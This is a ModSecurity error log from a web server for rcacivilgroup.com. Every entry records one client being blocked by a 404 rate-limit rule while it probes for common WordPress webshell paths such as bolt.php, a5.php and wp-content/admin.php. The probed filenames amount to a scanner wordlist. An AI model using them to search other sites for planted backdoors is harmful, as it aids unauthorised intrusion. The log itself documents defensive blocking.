[Thu May 07 06:23:43.557913 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:29899] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_b_0atTQld9Y2ht_vqQAAANM"]
[Thu May 07 06:23:43.976326 2026] [:error] [pid 29710:tid 29716] [client 172.202.74.222:29852] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_b_0atTQld9Y2ht_vqwAAAMQ"]
[Thu May 07 06:23:44.367580 2026] [:error] [pid 29710:tid 29714] [client 172.202.74.222:29779] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_cP0atTQld9Y2ht_vrQAAAMI"]
[Thu May 07 06:23:44.775273 2026] [:error] [pid 29607:tid 29680] [client 172.202.74.222:29872] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_cKbP7TJOAh7WSUN11QAAAIw"]
[Thu May 07 06:23:45.230574 2026] [:error] [pid 29605:tid 29637] [client 172.202.74.222:29843] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afu_cYnxrTjETioEY0TrIgAAABc"]
[Thu May 07 06:23:45.627448 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:29859] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afu_cf0atTQld9Y2ht_vsQAAAME"]
[Thu May 07 06:23:46.092947 2026] [:error] [pid 29710:tid 29712] [client 172.202.74.222:29865] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afu_cv0atTQld9Y2ht_vtAAAAMA"]
[Thu May 07 06:23:46.508059 2026] [:error] [pid 29710:tid 29718] [client 172.202.74.222:29911] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "afu_cv0atTQld9Y2ht_vtwAAAMY"]
[Thu May 07 06:23:46.897741 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:29941] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afu_cv0atTQld9Y2ht_vuQAAANM"]
[Thu May 07 06:23:47.492031 2026] [:error] [pid 29710:tid 29721] [client 172.202.74.222:29864] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afu_c_0atTQld9Y2ht_vvAAAAMk"]
[Thu May 07 06:23:47.889411 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:29860] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afu_c4PEZE1565sDGnw-AgAAARg"]
[Thu May 07 06:23:48.293322 2026] [:error] [pid 29710:tid 29724] [client 172.202.74.222:29931] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "afu_dP0atTQld9Y2ht_vwAAAAMw"]
[Thu May 07 06:23:48.712013 2026] [:error] [pid 29606:tid 29656] [client 172.202.74.222:29874] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afu_dBR5HjZ1PlSAiKttvgAAAE8"]
[Thu May 07 06:23:49.118151 2026] [:error] [pid 29606:tid 29654] [client 172.202.74.222:29762] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afu_dRR5HjZ1PlSAiKttvwAAAE0"]
[Thu May 07 06:23:49.505521 2026] [:error] [pid 29606:tid 29658] [client 172.202.74.222:29914] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afu_dRR5HjZ1PlSAiKttwQAAAFE"]
[Thu May 07 06:23:49.916793 2026] [:error] [pid 29606:tid 29642] [client 172.202.74.222:29863] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "afu_dRR5HjZ1PlSAiKttwwAAAEE"]
[Thu May 07 06:23:50.316850 2026] [:error] [pid 29606:tid 29657] [client 172.202.74.222:30042] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afu_dhR5HjZ1PlSAiKttxwAAAFA"]
[Thu May 07 06:23:50.704674 2026] [:error] [pid 29606:tid 29650] [client 172.202.74.222:29827] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afu_dhR5HjZ1PlSAiKttyQAAAEk"]
[Thu May 07 06:23:51.123693 2026] [:error] [pid 29606:tid 29661] [client 172.202.74.222:29946] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afu_dxR5HjZ1PlSAiKttzAAAAFQ"]
[Thu May 07 06:23:51.520858 2026] [:error] [pid 29606:tid 29659] [client 172.202.74.222:29825] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "afu_dxR5HjZ1PlSAiKttzQAAAFI"]
[Thu May 07 06:23:51.895889 2026] [:error] [pid 29606:tid 29654] [client 172.202.74.222:29833] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afu_dxR5HjZ1PlSAiKttzwAAAE0"]
[Thu May 07 06:23:52.301398 2026] [:error] [pid 29606:tid 29642] [client 172.202.74.222:29856] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afu_eBR5HjZ1PlSAiKtt0QAAAEE"]
[Thu May 07 06:23:52.703412 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:29700] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afu_eIPEZE1565sDGnw-BgAAAQc"]
[Thu May 07 06:23:53.296009 2026] [:error] [pid 29606:tid 29650] [client 172.202.74.222:29870] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "afu_eRR5HjZ1PlSAiKtt2AAAAEk"]
[Thu May 07 06:23:53.682811 2026] [:error] [pid 4539:tid 4552] [client 172.202.74.222:29892] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afu_eYPEZE1565sDGnw-CwAAAQs"]
[Thu May 07 06:23:54.103336 2026] [:error] [pid 29605:tid 29621] [client 172.202.74.222:29930] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afu_eonxrTjETioEY0TrJgAAAAc"]
[Thu May 07 06:23:54.502251 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:29849] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afu_ev0atTQld9Y2ht_v1wAAANQ"]
[Thu May 07 06:23:54.935776 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29798] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/bolt.php"] [unique_id "afu_eoPEZE1565sDGnw-DwAAAQA"]
[Thu May 07 06:23:55.326506 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:30004] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afu_e4PEZE1565sDGnw-EAAAARA"]
[Thu May 07 06:23:55.780253 2026] [:error] [pid 4539:tid 4543] [client 172.202.74.222:29975] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afu_e4PEZE1565sDGnw-HwAAAQI"]
[Thu May 07 06:23:56.205313 2026] [:error] [pid 29606:tid 29643] [client 172.202.74.222:29764] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afu_fBR5HjZ1PlSAiKtt3AAAAEI"]
[Thu May 07 06:23:56.594119 2026] [:error] [pid 29606:tid 29648] [client 172.202.74.222:29854] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-act.php"] [unique_id "afu_fBR5HjZ1PlSAiKtt3QAAAEc"]
[Thu May 07 06:23:56.991596 2026] [:error] [pid 29606:tid 29651] [client 172.202.74.222:29879] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afu_fBR5HjZ1PlSAiKtt3wAAAEo"]
[Thu May 07 06:23:57.380725 2026] [:error] [pid 29606:tid 29650] [client 172.202.74.222:29846] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afu_fRR5HjZ1PlSAiKtt4gAAAEk"]
[Thu May 07 06:23:57.764705 2026] [:error] [pid 29606:tid 29663] [client 172.202.74.222:29785] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afu_fRR5HjZ1PlSAiKtt5QAAAFY"]
[Thu May 07 06:23:58.146216 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:29876] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "afu_foPEZE1565sDGnw-JAAAARA"]
[Thu May 07 06:23:58.587064 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:29996] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afu_foPEZE1565sDGnw-JwAAARg"]
[Thu May 07 06:23:58.968422 2026] [:error] [pid 29605:tid 29617] [client 172.202.74.222:29830] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afu_fonxrTjETioEY0TrKQAAAAM"]
[Thu May 07 06:23:59.381947 2026] [:error] [pid 4539:tid 4560] [client 172.202.74.222:29943] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afu_f4PEZE1565sDGnw-LQAAARM"]
[Thu May 07 06:23:59.807623 2026] [:error] [pid 29710:tid 29736] [client 172.202.74.222:29894] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/index.php"] [unique_id "afu_f_0atTQld9Y2ht_v4gAAANg"]
[Thu May 07 06:24:00.228762 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29985] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afu_gIPEZE1565sDGnw-MgAAAQA"]
[Thu May 07 06:24:00.690856 2026] [:error] [pid 4539:tid 4564] [client 172.202.74.222:29761] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afu_gIPEZE1565sDGnw-NQAAARc"]
[Thu May 07 06:24:01.064976 2026] [:error] [pid 29607:tid 29670] [client 172.202.74.222:29858] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afu_gabP7TJOAh7WSUN13wAAAII"]
[Thu May 07 06:24:01.475817 2026] [:error] [pid 4539:tid 4554] [client 172.202.74.222:29862] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sbhu.php"] [unique_id "afu_gYPEZE1565sDGnw-OgAAAQ0"]
[Thu May 07 06:24:01.875220 2026] [:error] [pid 29605:tid 29630] [client 172.202.74.222:29836] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afu_gYnxrTjETioEY0TrKgAAABA"]
[Thu May 07 06:24:02.319132 2026] [:error] [pid 29710:tid 29731] [client 172.202.74.222:29886] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afu_gv0atTQld9Y2ht_v5gAAANM"]
[Thu May 07 06:24:02.733430 2026] [:error] [pid 29710:tid 29717] [client 172.202.74.222:29722] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afu_gv0atTQld9Y2ht_v6AAAAMU"]
[Thu May 07 06:24:03.140281 2026] [:error] [pid 29607:tid 29685] [client 172.202.74.222:29916] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blog.php"] [unique_id "afu_g6bP7TJOAh7WSUN15AAAAJE"]
[Thu May 07 06:24:03.666636 2026] [:error] [pid 29607:tid 29687] [client 172.202.74.222:29873] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afu_g6bP7TJOAh7WSUN15wAAAJM"]
[Thu May 07 06:24:04.050420 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:29835] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afu_hIPEZE1565sDGnw-QQAAARE"]
[Thu May 07 06:24:04.430226 2026] [:error] [pid 29607:tid 29676] [client 172.202.74.222:29696] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afu_hKbP7TJOAh7WSUN16wAAAIg"]
[Thu May 07 06:24:04.815402 2026] [:error] [pid 29607:tid 29675] [client 172.202.74.222:29973] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/"] [unique_id "afu_hKbP7TJOAh7WSUN17gAAAIc"]
[Thu May 07 06:24:05.195539 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:29782] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_hYPEZE1565sDGnw-RQAAAQM"]
[Thu May 07 06:24:05.608494 2026] [:error] [pid 29606:tid 29662] [client 172.202.74.222:29777] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_hRR5HjZ1PlSAiKtt6gAAAFU"]
[Thu May 07 06:24:05.992306 2026] [:error] [pid 29605:tid 29618] [client 172.202.74.222:29783] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_hYnxrTjETioEY0TrMgAAAAQ"]
[Thu May 07 06:24:06.391675 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:29765] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "afu_hv0atTQld9Y2ht_v_wAAANQ"]
